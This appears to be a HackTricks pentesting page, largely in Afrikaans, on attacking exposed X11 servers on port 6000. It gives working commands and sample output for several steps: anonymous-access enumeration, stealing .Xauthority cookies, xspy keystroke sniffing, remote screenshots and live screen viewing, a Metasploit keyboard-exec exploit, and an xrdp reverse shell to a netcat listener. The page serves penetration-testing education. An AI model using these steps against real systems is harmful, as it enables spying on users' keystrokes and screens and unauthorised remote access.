# 6000 - Pentesting X11 {% hint style="success" %} Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Ondersteun HackTricks * Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters! **Hacking Inligting**\ Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek **Regte Tyd Hack Nuus**\ Bly op hoogte van die vinnige hacking wêreld deur middel van regte tyd nuus en insigte **Laaste Aankondigings**\ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings **Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers! ## Basiese Inligting **X Window System** (X) is 'n veelsydige vensterstelsel wat algemeen voorkom op UNIX-gebaseerde bedryfstelsels. Dit bied 'n raamwerk vir die skep van grafiese **gebruikersinterfaces (GUIs)**, met individuele programme wat die gebruikerskoppelvlakontwerp hanteer. Hierdie buigsaamheid stel gebruikers in staat om uiteenlopende en aanpasbare ervarings binne die X-omgewing te hê. **Standaard poort:** 6000 ``` PORT STATE SERVICE 6000/tcp open X11 ``` ## Enumeration Kontroleer vir **anonieme verbinding:** ```bash nmap -sV --script x11-access -p msf> use auxiliary/scanner/x11/open_x11 ``` #### Plaaslike Enumerasie Die lêer **`.Xauthority`** in die gebruiker se tuisgids word **gebruik** deur **X11 vir outorisering**. Van [**hier**](https://stackoverflow.com/a/37367518): ```bash $ xxd ~/.Xauthority 00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M 00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE- 00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X 00000030: 041d ef ... ``` > MIT-magic-cookie-1: Genereer 128bit van sleutel (“cookie”), stoor dit in \~/.Xauthority (of waar XAUTHORITY envvar na verwys). Die kliënt stuur dit na die bediener in die duidelike! die bediener kontroleer of dit 'n kopie van hierdie “cookie” het en indien wel, word die verbinding toegelaat. die sleutel word deur DMX gegenereer. {% hint style="warning" %} Om die **cookie** te **gebruik**, moet jy die env var instel: **`export XAUTHORITY=/path/to/.Xauthority`** {% endhint %} #### Plaaslike Enumerasie Sessie ```bash $ w 23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session ``` In die voorbeeld het `localhost:0` xfce4-session gedra. ## Verifieer Verbinding ```bash xdpyinfo -display : xwininfo -root -tree -display : #Ex: xwininfo -root -tree -display 10.5.5.12:0 ``` ## Sleutelopname [xspy](http://tools.kali.org/sniffingspoofing/xspy) om die sleutelbordtoetsaanslagen te snuffel. Voorbeelduitvoer: ``` xspy 10.9.xx.xx opened 10.9.xx.xx:0 for snoopng swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123 qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab ``` ## Skermskoot vang ```bash xwd -root -screen -silent -display > screenshot.xwd convert screenshot.xwd screenshot.png ``` ## Remote Desktop View Weg van: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) ``` ./xrdp.py ``` Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) Eerst moet ons die ID van die venster vind met xwininfo ``` xwininfo -root -display 10.9.xx.xx:0 xwininfo: Window id: 0x45 (the root window) (has no name) Absolute upper-left X: 0 Absolute upper-left Y: 0 Relative upper-left X: 0 Relative upper-left Y: 0 Width: 1024 Height: 768 Depth: 16 Visual: 0x21 Visual Class: TrueColor Border width: 0 Class: InputOutput Colormap: 0x20 (installed) Bit Gravity State: ForgetGravity Window Gravity State: NorthWestGravity Backing Store State: NotUseful Save Under State: no Map State: IsViewable Override Redirect State: no Corners: +0+0 -0+0 -0-0 +0-0 -geometry 1024x768+0+0 ``` **XWatchwin** Vir **lewendige kyk** moet ons gebruik ```bash ./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo ./xwatchwin 10.9.xx.xx:0 -w 0x45 ``` ## Kry Shell ``` msf> use exploit/unix/x11/x11_keyboard_exec ``` **Reverse Shell:** Xrdp laat ook toe om 'n omgekeerde shell te neem via Netcat. Tik die volgende opdrag in: ```bash ./xrdp.py \ –no-disp ``` In die koppelvlak kan jy die **R-shell opsie** sien. Begin dan 'n **Netcat luisteraar** in jou plaaslike stelsel op poort 5555. ```bash nc -lvp 5555 ``` Then, sit jou IP-adres en poort in die **R-Shell** opsie en klik op **R-shell** om 'n shell te kry ## References * [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) * [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) * [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) ## Shodan * `port:6000 x11`
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer! **Hacking Insights**\ Engage with content that delves into the thrill and challenges of hacking **Real-Time Hack News**\ Keep up-to-date with fast-paced hacking world through real-time news and insights **Latest Announcements**\ Stay informed with the newest bug bounties launching and crucial platform updates **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}